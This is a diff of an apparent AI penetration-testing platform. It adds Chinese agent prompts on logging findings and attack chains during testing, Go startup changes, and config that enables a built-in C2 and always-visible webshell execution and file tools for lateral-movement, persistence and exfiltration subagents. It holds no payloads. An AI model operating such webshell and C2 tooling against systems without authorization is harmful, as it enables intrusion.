- **body**:完整可复现上下文,写入 `upsert_project_fact` 的 body 字段;索引不含 body,后续会话须靠 `get_project_fact` 取回。
|
||||
- **category / fact_key 建议**:
|
||||
- 环境认知:`target/`、`auth/`、`infra/`、`business/`(body 用环境模板即可)
|
||||
- 发现与利用:`finding/`、`chain/`、`exploit/`、`poc/`(**必须**用攻击链模板填满 body:入口、逐步攻击链、原始请求/响应或命令、证据、关联漏洞 ID)
|
||||
- **与漏洞记录分工**:`record_vulnerability` 记可交付 findings;事实记**复现所需的全部上下文**(含失败尝试、绕过、依赖会话),二者可各记一次。
|
||||
- 更新同一发现时保持相同 `fact_key` 覆盖写入,勿散落多个 key 导致上下文丢失。
|
||||
|
||||
严重程度:critical / high / medium / low / info。证明须含足够证据(请求响应、截图、命令输出等)。
|
||||
|
||||
## 表达
|
||||
|
||||
|
||||
+24
-1
@@ -33,6 +33,7 @@ description: 多代理模式下的 Deep 编排者:在已授权安全场景中
|
||||
- **`task` 上下文交接(强制,避免重复劳动)**:**把子代理当作刚走进房间的同事——它没看过你的对话,不知道你做了什么,也不了解这个任务为什么重要。** 框架下子代理默认**只看到**你传入的 `description` 文本,**看不到**你在父对话里已跑过的工具输出全文。因此每次 `task` 的 `description` 必须自带**交接包**(可精简,但不可省略关键事实):
|
||||
- **已完成**:已枚举的主域/子域要点、已扫端口或服务结论、已确认 IP/URL、协调者已知的漏洞假设等(用列表或短段落即可)。
|
||||
- **本轮只做**:明确写「本轮禁止重复全量子域爆破 / 禁止重复相同 subfinder 参数集」等(若确实需要增量,写清增量范围)。
|
||||
- **图片/验证码(若有)**:本地绝对路径 + 期望输出格式(如验证码「只输出字符」、登录页 UI 要素列表);子代理默认看不到父对话里的识图结果,须在 description 中写明路径与格式。
|
||||
- **专家匹配**:验证、利用、协议深挖(如 MQTT)等应委派给**对应专项子代理**;不要把此类子目标交给纯侦察(`recon`)角色除非任务仅为补充攻击面。
|
||||
- **派单前目标完整性校验(强制)**:在调用 `task` 前,你必须检查并写入最小必需字段;任一缺失时**禁止委派**,先向用户澄清或先自行补充证据:
|
||||
- **目标标识**:`URL` 或 `IP:Port` 或 `域名 + 具体路径/API 基址`
|
||||
@@ -127,7 +128,29 @@ description: 多代理模式下的 Deep 编排者:在已授权安全场景中
|
||||
## 工具与 MCP
|
||||
|
||||
- **工具调用失败时**:1) 仔细分析错误信息,理解失败的具体原因;2) 如果工具不存在或未启用,尝试使用其他替代工具完成相同目标;3) 如果参数错误,根据错误提示修正参数后重试;4) 如果工具执行失败但输出了有用信息,可以基于这些信息继续分析;5) 如果确实无法使用某个工具,向用户说明问题,并建议替代方案或手动操作;6) 不要因为单个工具失败就停止整个测试流程,尝试其他方法继续完成任务。工具返回的错误信息会包含在工具响应中,请仔细阅读并做出合理决策。
|
||||
- **漏洞记录**:发现**有效漏洞**时,必须使用 **`record_vulnerability`** 记录(标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议)。严重程度使用 critical / high / medium / low / info。记录后可在授权范围内继续测试。
|
||||
## 项目黑板(事实)与漏洞记录(分离)
|
||||
|
||||
当前对话若已绑定项目,系统会自动注入「项目黑板索引」(仅 `fact_key` + 摘要)。**摘要不足时必须调用 `get_project_fact(fact_key)` 获取 body,禁止凭摘要臆造细节。**
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。委派/子任务返回新认知或漏洞时,由协调者及时写入,勿假定子代理已记。
|
||||
|
||||
- **环境/目标/认证等认知**(非正式漏洞):使用 **`upsert_project_fact`**,`fact_key` 建议 `category/slug`(如 `target/primary_domain`),同 key 覆盖更新;body 记端口/版本/凭据特征与证据来源。
|
||||
- **发现与利用上下文**(审计复现):`fact_key` 建议 `finding/`、`chain/`、`exploit/`、`poc/` 前缀;**body 必填**完整攻击链(入口 → 步骤 → 原始请求/响应或命令 → 现象 → 关联 `related_vulnerability_id`),**禁止仅写结论**;summary 写「什么 + 在哪 + 如何验证」一行要点。
|
||||
- **可交付漏洞**:使用 **`record_vulnerability`**(标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议)。严重程度 critical / high / medium / low / info。
|
||||
- 同一发现可能需**各记一次**(事实记可复现攻击链,漏洞记正式 findings)。误报用 **`deprecate_project_fact`** 或漏洞状态 false_positive。
|
||||
- 事实多时用 **`list_project_facts`** / **`search_project_facts`** 检索。
|
||||
|
||||
### 事实写入规范(审计复现 / 知识沉淀)
|
||||
|
||||
- **summary**:索引用一行,须含「什么 + 在哪 + 如何触发/验证」要点,禁止只写结论(如仅写「存在 SQLi」)。
|
||||
- **body**:完整可复现上下文,写入 `upsert_project_fact` 的 body 字段;索引不含 body,后续会话须靠 `get_project_fact` 取回。
|
||||
- **category / fact_key 建议**:
|
||||
- 环境认知:`target/`、`auth/`、`infra/`、`business/`(body 用环境模板即可)
|
||||
- 发现与利用:`finding/`、`chain/`、`exploit/`、`poc/`(**必须**用攻击链模板填满 body:入口、逐步攻击链、原始请求/响应或命令、证据、关联漏洞 ID)
|
||||
- **与漏洞记录分工**:`record_vulnerability` 记可交付 findings;事实记**复现所需的全部上下文**(含失败尝试、绕过、依赖会话),二者可各记一次。
|
||||
- 更新同一发现时保持相同 `fact_key` 覆盖写入,勿散落多个 key 导致上下文丢失。
|
||||
|
||||
严重程度:critical / high / medium / low / info。证明须含足够证据(请求响应、截图、命令输出等)。
|
||||
- **编排进度(待办)**:当你的任务包含 3 个或以上步骤,或你准备委派多个子目标并行/串行推进时,优先使用 `write_todos` 来向用户展示“当前在做什么/接下来做什么”。维护约束:同一时刻最多一个条目处于 `in_progress`;完成后立刻标记 `completed`;遇到阻塞就保留为 `in_progress` 并继续推进。
|
||||
- **强触发建议(提升多 agent 使用率)**:如果你将要进行任何“证据收集/枚举/扫描/验证/复现/整理报告”这类实质执行动作,且不只是单步查询,请优先在第一个工具调用前就用 `write_todos` 建立计划;随后用 `task` 委派至少一个子代理获取结构化证据,而不是自己把全部步骤做完。
|
||||
- **技能库(Skills)与知识库**:技能包位于服务器 `skills/` 目录(各子目录 `SKILL.md`,遵循 agentskills.io);知识库用于向量检索片段,Skills 为可执行工作流指令。多代理本会话通过内置 **`skill`** 工具渐进加载;子代理同样挂载 skill + 可选本机文件工具时,可在委派说明中提示按需加载。若当前无 skill 工具,需要完整 Skill 工作流时请使用多代理模式或切换为 Eino 编排会话。
|
||||
|
||||
@@ -31,5 +31,9 @@ max_iterations: 0
|
||||
- 禁止自行猜测目标、替换为历史目标或擅自发起全量探索。
|
||||
|
||||
- 以证据为中心:请求/响应、Payload、命令输出、截图说明等,便于审计与复现。
|
||||
- 先确认边界与禁止项(如拒绝 DoS、数据破坏);发现有效漏洞时按协调者要求使用 `record_vulnerability` 等流程(若你的工具集中包含)。
|
||||
- 先确认边界与禁止项(如拒绝 DoS、数据破坏)。
|
||||
- 输出包含:攻击路径摘要、关键步骤、影响评估、修复与缓解建议;语言简洁,便于主代理汇总。
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -51,4 +51,8 @@ max_iterations: 0
|
||||
- 列出需要清理/验证的痕迹类型(配置、会话、日志、服务变更等层级描述即可)
|
||||
|
||||
4) Recommended Next Steps(下一步建议)
|
||||
- 建议由哪个阶段子代理接手,以及需要哪些证据输入。
|
||||
- 建议由哪个阶段子代理接手,以及需要哪些证据输入。
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -53,4 +53,8 @@ max_iterations: 0
|
||||
4) Recommended Next Agent(下一步建议)
|
||||
- 明确建议由哪个子代理接手(例如 `lateral-movement` / `persistence-maintenance` / `impact-exfiltration` / `reporting-remediation`)
|
||||
|
||||
输出后直接结束。
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
输出后直接结束。
|
||||
|
||||
@@ -34,3 +34,7 @@ max_iterations: 0
|
||||
|
||||
- 若 **`description` / 用户消息 / 上文交接包** 中已给出资产列表、枚举结论或明确写「跳过全量枚举 / 仅做增量 / 从端口扫描或验证开始」,则**不得**为走完整流程而重新执行等价的广域子域爆破或相同参数集的枚举;仅在交接包声明的**缺口**上补充侦察。
|
||||
- 若子目标实为**漏洞验证、协议利用、权限提升**等而非攻击面扩展,应**极短说明**「当前角色为侦察;建议协调者改派专项代理」并仅提供与侦察相关的最小补充信息,避免擅自把任务扩写成新一轮全盘资产收集。
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -55,4 +55,8 @@ max_iterations: 0
|
||||
5) Appendix(附录)
|
||||
- 术语、假设、证据清单索引(按证据类型列出即可)
|
||||
|
||||
输出后直接结束。
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
输出后直接结束。
|
||||
|
||||
@@ -57,4 +57,8 @@ max_iterations: 0
|
||||
4) Uncertainties & Missing Evidence(不确定性与缺口)
|
||||
- 列出最关键的缺口(尽量少,但要关键)
|
||||
|
||||
输出后直接结束。
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
输出后直接结束。
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"cyberstrike-ai/internal/logger"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/security"
|
||||
"cyberstrike-ai/internal/storage"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
@@ -32,6 +33,23 @@ func main() {
|
||||
// 创建安全工具执行器
|
||||
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
|
||||
|
||||
// 初始化结果存储(与 internal/app/app.go 同样的逻辑)。
|
||||
// stdio 模式下原本不初始化,导致 'exec' 等查询型工具报"结果存储未初始化"。
|
||||
resultStorageDir := "tmp"
|
||||
if cfg.Agent.ResultStorageDir != "" {
|
||||
resultStorageDir = cfg.Agent.ResultStorageDir
|
||||
}
|
||||
if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "创建结果存储目录失败: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "初始化结果存储失败: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
executor.SetResultStorage(resultStorage)
|
||||
|
||||
// 注册工具
|
||||
executor.RegisterTools(mcpServer)
|
||||
|
||||
|
||||
+43
-3
@@ -9,22 +9,62 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var configPath = flag.String("config", "config.yaml", "配置文件路径")
|
||||
var httpsBootstrap = flag.Bool("https", false, "启用主站 HTTPS:未配置 tls_cert_path/tls_key_path 时使用内存自签证书(本地测试);与 run.sh 默认行为一致")
|
||||
flag.Parse()
|
||||
|
||||
// 环境变量兼容(便于 systemd/docker 等不传参场景)
|
||||
if !*httpsBootstrap {
|
||||
v := strings.TrimSpace(os.Getenv("CYBERSTRIKE_HTTPS"))
|
||||
if v == "1" || strings.EqualFold(v, "true") || strings.EqualFold(v, "yes") {
|
||||
*httpsBootstrap = true
|
||||
}
|
||||
}
|
||||
|
||||
// 加载配置
|
||||
cfg, err := config.Load(*configPath)
|
||||
cp := strings.TrimSpace(*configPath)
|
||||
if cp == "" {
|
||||
cp = "config.yaml"
|
||||
}
|
||||
if strings.HasPrefix(cp, "-") {
|
||||
fmt.Fprintf(os.Stderr, "无效的 -config 路径 %q。\n若同时需要 HTTPS,请写成: ./cyberstrike-ai --https -config config.yaml(-config 后必须是 yaml 文件路径)。\n", cp)
|
||||
os.Exit(2)
|
||||
}
|
||||
cfg, err := config.Load(cp)
|
||||
if err != nil {
|
||||
fmt.Printf("加载配置失败: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if *httpsBootstrap {
|
||||
config.ApplyDevHTTPSBootstrap(cfg)
|
||||
}
|
||||
|
||||
port := cfg.Server.Port
|
||||
if port <= 0 {
|
||||
port = 8080
|
||||
}
|
||||
scheme := "http"
|
||||
if config.MainWebUIUsesHTTPS(&cfg.Server) {
|
||||
scheme = "https"
|
||||
}
|
||||
fmt.Println()
|
||||
fmt.Printf("→ Web 界面: %s://127.0.0.1:%d/\n", scheme, port)
|
||||
if scheme == "https" && cfg.Server.TLSAutoSelfSign {
|
||||
fmt.Println(" (内存自签证书:浏览器首次需确认「继续访问」)")
|
||||
}
|
||||
if scheme == "https" && config.ServerHTTPRedirectEnabled(&cfg.Server) {
|
||||
fmt.Printf(" (http://127.0.0.1:%d/ 将自动跳转到 HTTPS)\n", port)
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// MCP 启用且 auth_header_value 为空时,自动生成随机密钥并写回配置
|
||||
if err := config.EnsureMCPAuth(*configPath, cfg); err != nil {
|
||||
if err := config.EnsureMCPAuth(cp, cfg); err != nil {
|
||||
fmt.Printf("MCP 鉴权配置失败: %v\n", err)
|
||||
return
|
||||
}
|
||||
@@ -44,7 +84,7 @@ func main() {
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
|
||||
// 创建应用
|
||||
application, err := app.New(cfg, log)
|
||||
application, err := app.New(cfg, log, cp)
|
||||
if err != nil {
|
||||
log.Fatal("应用初始化失败", "error", err)
|
||||
}
|
||||
|
||||
+91
-10
@@ -10,11 +10,22 @@
|
||||
# ============================================
|
||||
|
||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||
version: "v1.5.17"
|
||||
version: "v1.6.30"
|
||||
# 服务器配置
|
||||
server:
|
||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||
port: 8080 # HTTP 服务端口,可通过浏览器访问 http://localhost:8080
|
||||
port: 8080 # 服务端口;未启用 TLS 时为 http://localhost:8080
|
||||
# --- 可选:HTTPS + HTTP/2(缓解浏览器对同源 HTTP/1.1 的并发连接数限制,多路 Deep 流式更稳)---
|
||||
# 启用 TLS 的条件(满足其一即可):tls_enabled: true,或 tls_auto_self_sign: true,或同时配置了 tls_cert_path + tls_key_path。
|
||||
# 启用后请用 https://127.0.0.1:<本端口>/ 访问;若仍用 http:// 访问同端口,将自动 308 跳转到 HTTPS(可用 tls_http_redirect: false 关闭)。
|
||||
tls_enabled: true
|
||||
# 启用 HTTPS 时,明文 HTTP 是否自动跳转到 HTTPS(默认 true;同端口嗅探 TLS/HTTP 后分流)
|
||||
# tls_http_redirect: true
|
||||
# 方式 A(推荐生产):PEM 证书与私钥路径
|
||||
# tls_cert_path: /path/to/fullchain.pem
|
||||
# tls_key_path: /path/to/privkey.pem
|
||||
# 方式 B(仅本地/测试):无证书文件时内存自签(浏览器会提示不受信任;SAN 含 localhost / 127.0.0.1)
|
||||
tls_auto_self_sign: true
|
||||
# 认证配置
|
||||
auth:
|
||||
password: # Web 登录密码,请修改为强密码
|
||||
@@ -23,6 +34,12 @@ auth:
|
||||
log:
|
||||
level: info # 日志级别: debug(调试), info(信息), warn(警告), error(错误)
|
||||
output: stdout # 日志输出位置: stdout(标准输出), stderr(标准错误), 或文件路径
|
||||
# 平台操作审计(系统设置 -> 日志审计;不记录对话正文与每次工具调用)
|
||||
audit:
|
||||
enabled: true
|
||||
retention_days: 15 # 0 表示不自动清理
|
||||
max_detail_bytes: 8192
|
||||
auth_failure_cooldown_seconds: 60 # 同一 IP 登录/改密失败审计最短间隔(秒);未配置时默认 60;-1 关闭节流
|
||||
# ============================================
|
||||
# 对话相关配置
|
||||
# ============================================
|
||||
@@ -41,6 +58,28 @@ openai:
|
||||
api_key: sk-xxxxxxx # API 密钥(必填)
|
||||
model: qwen3-max # 模型名称(必填)
|
||||
max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置)
|
||||
# Eino 路径模型推理:DeepSeek/OpenAI 为 thinking / reasoning_effort 等;provider 为 claude 时合并为 Anthropic 顶层 thinking(extended thinking),mode: off 关闭
|
||||
reasoning:
|
||||
mode: on # auto | on | off;off 时不附加任何推理扩展字段
|
||||
effort: high # low | medium | high | max | xhigh(最高档:OpenAI 常用 xhigh,部分网关用 max,原样下发);空表示不指定
|
||||
allow_client_reasoning: true # false 时忽略对话请求体 reasoning,仅以下方为准
|
||||
profile: openai_compat # auto | deepseek_compat | openai_compat | output_config_effort
|
||||
# extra_request_fields: {} # 可选:管理员自定义根级 JSON 片段(高级)
|
||||
# 视觉分析(analyze_image MCP 工具;图片仅在单次 VL 调用中出现,Agent 上下文只保留文字摘要)
|
||||
vision:
|
||||
enabled: false # true 且 model 非空时注册 analyze_image
|
||||
model: qwen-vl # VL 模型名(enabled 时必填)
|
||||
api_key: "" # 留空则复用 openai.api_key
|
||||
base_url: "" # 留空则复用 openai.base_url
|
||||
provider: # 留空则复用 openai.provider(openai | claude)
|
||||
max_image_bytes: 5242880 # 原始文件上限(字节),默认 5MB
|
||||
max_dimension: 2048 # 长边缩放像素
|
||||
jpeg_quality: 82
|
||||
max_payload_bytes: 524288 # 编码后送 VL API 上限,默认 512KB
|
||||
skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 且<=max_payload 时原图直传;0=始终压缩
|
||||
detail: auto # low | high | auto(Eino ImageURLDetail)
|
||||
timeout_seconds: 60
|
||||
# allowed_roots: [] # 额外允许的绝对路径根目录
|
||||
# ============================================
|
||||
# 信息收集(FOFA)配置(可选)
|
||||
# ============================================
|
||||
@@ -53,21 +92,23 @@ fofa:
|
||||
# Agent 配置
|
||||
# 达到最大迭代次数时,AI 会自动总结测试结果
|
||||
agent:
|
||||
max_iterations: 120 # 最大迭代次数,AI 代理最多执行多少轮工具调用
|
||||
max_iterations: 12000 # 最大迭代次数,AI 代理最多执行多少轮工具调用
|
||||
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
|
||||
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
|
||||
tool_timeout_minutes: 30 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
||||
# system_prompt_path: prompts/single-react.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
||||
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
||||
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
||||
|
||||
system_prompt_path: ""
|
||||
# 人机协同(HITL)全局白名单:此处列出的工具始终免审批,与对话页「白名单工具(免审批,逗号分隔)」合并为并集;侧栏「应用」可合并写入本列表并立即生效。
|
||||
hitl:
|
||||
# 按你环境里的真实工具名增删(与侧栏一致、小写不敏感);不需要全局免审批可改为 []
|
||||
tool_whitelist: [read_file, list_dir, glob, grep]
|
||||
# 多代理(CloudWeGo Eino DeepAgent,与上方单 Agent /api/agent-loop 并存)
|
||||
# 多代理与 Eino 单代理(CloudWeGo Eino ADK;单代理入口 /api/eino-agent*,多代理 /api/multi-agent*)
|
||||
# 依赖在 go.mod 中拉取;若下载失败可设置: go env -w GOPROXY=https://goproxy.cn,direct
|
||||
# 启用后需重启服务才会注册 /api/multi-agent 与 /api/multi-agent/stream;Deep / Plan-Execute / Supervisor 由对话页与 WebShell 所选模式在请求体中传入;机器人/批量无请求体时固定按 deep
|
||||
# Deep / Plan-Execute / Supervisor 由对话页与 WebShell 所选模式在请求体 orchestration 中指定;机器人按 robot_default_agent_mode
|
||||
multi_agent:
|
||||
enabled: true
|
||||
robot_use_multi_agent: true # true 时企业微信/钉钉/飞书机器人也走 Eino 多代理(成本更高)
|
||||
robot_default_agent_mode: eino_single # 企微/钉钉/飞书机器人默认:eino_single | deep | plan_execute | supervisor
|
||||
batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理(成本更高)
|
||||
max_iteration: 0 # 主代理 / plan_execute 执行器最大轮次,0 表示沿用 agent.max_iterations
|
||||
# plan_execute 专用:execute↔replan 外层循环上限,0 表示 Eino 默认 10。当前实现下 Executor 会挂载 patch/reduction/tool_search 等前置中间件。
|
||||
@@ -90,7 +131,7 @@ multi_agent:
|
||||
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
|
||||
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
|
||||
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
|
||||
tool_search_always_visible_tools: [read_file, glob, grep, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
||||
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
||||
plantask_enable: false # true:主代理(Deep / Supervisor 主)挂载 TaskCreate/Get/Update/List;需 eino_skills 可用且 skills_dir 存在,否则仅打日志并跳过
|
||||
plantask_rel_dir: .eino/plantask # 结构化任务文件相对 skills_dir 的子目录,其下再按会话 ID 分子目录存放
|
||||
reduction_enable: true # true:大工具输出截断/落盘以控上下文;依赖与 plantask 相同的 eino local 写盘后端,无后端时不挂载
|
||||
@@ -101,15 +142,31 @@ multi_agent:
|
||||
reduction_sub_agents: true # true:子代理也挂 reduction;false:仅编排主代理使用 reduction
|
||||
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
|
||||
summarization_emit_internal_events: true # true:发出 summarization 内部事件(便于诊断)
|
||||
history_input_budget_ratio: 0.35 # 历史入队预算比例(max_total_tokens * ratio)
|
||||
plan_execute_user_input_budget_ratio: 0.35 # plan_execute 中 userInput 预算比例(planner/replanner/executor 共用)
|
||||
plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
|
||||
plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数(超出截断)
|
||||
plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文,早期步骤折叠为标题
|
||||
checkpoint_dir: "" # 非空:为 adk.NewRunner 启用按会话子目录的文件型 CheckPointStore,便于中断恢复持久化;Resume 的 HTTP/前端流程需另行对接
|
||||
run_retry_max_attempts: 0 # >0:429/5xx/网络抖动时 ADK 运行循环指数退避续跑次数;0=默认 10
|
||||
run_retry_max_backoff_sec: 0 # 单次退避上限秒数;0=默认 30
|
||||
deep_output_key: "" # 非空:将最终助手输出写入 adk session 的键名(Deep 与 Supervisor 主代理);空表示不写入
|
||||
deep_model_retry_max_retries: 0 # >0:ChatModel 调用失败时的框架级最大重试次数(Deep 与 Supervisor 主);0:不重试
|
||||
task_tool_description_prefix: "" # 非空:仅 Deep 的 task 工具使用自定义描述前缀,运行时会拼接子代理名称;空则走 Eino 默认生成逻辑
|
||||
# Eino callbacks + OpenTelemetry:框架级 span(与 Zap 对齐);默认不向终端用户 UI 推 eino_trace_*(见 sse_trace_to_client)
|
||||
eino_callbacks:
|
||||
enabled: true
|
||||
# log_only=仅 Zap+OTel(推荐默认)| sse/full=才启用流式回调副本关闭等(full 含 stream hooks)
|
||||
mode: log_only
|
||||
sse_trace_to_client: false # true:且 mode 为 sse/full 时,向前端时间线推送 eino_trace_*(排障/内网演示用)
|
||||
max_input_summary_runes: 400
|
||||
max_output_summary_runes: 400
|
||||
zap_verbose: false # true:Debug 附带 input/output 摘要
|
||||
otel:
|
||||
enabled: true
|
||||
service_name: cyberstrike-ai
|
||||
exporter: stdout # none | stdout(开发/本机)| otlphttp(生产接 Collector)
|
||||
otlp_endpoint: localhost:4318 # otlphttp 时使用,host:port,路径固定 /v1/traces
|
||||
sample_ratio: 1.0 # 0~1,ParentBased+TraceIDRatio
|
||||
# 数据库配置
|
||||
database:
|
||||
path: data/conversations.db # SQLite 数据库文件路径,用于存储对话历史和消息
|
||||
@@ -147,6 +204,9 @@ mcp:
|
||||
# 外部 MCP 配置
|
||||
external_mcp:
|
||||
servers: {}
|
||||
# 内置 C2:本机仅做对话/知识库时可设为 false,不启动监听器、不注册 C2 MCP 工具;省略本段时默认启用
|
||||
c2:
|
||||
enabled: true
|
||||
# ============================================
|
||||
# 知识库相关配置
|
||||
# ============================================
|
||||
@@ -199,6 +259,14 @@ knowledge:
|
||||
# 用于在手机端通过企业微信/钉钉/飞书与 CyberStrikeAI 对话,无需部署在服务器上也可使用
|
||||
# 在系统设置 -> 机器人设置 中可配置
|
||||
robots:
|
||||
wechat: # 微信 iLink(个人微信 ClawBot,扫码绑定)
|
||||
enabled: false
|
||||
bot_token: ""
|
||||
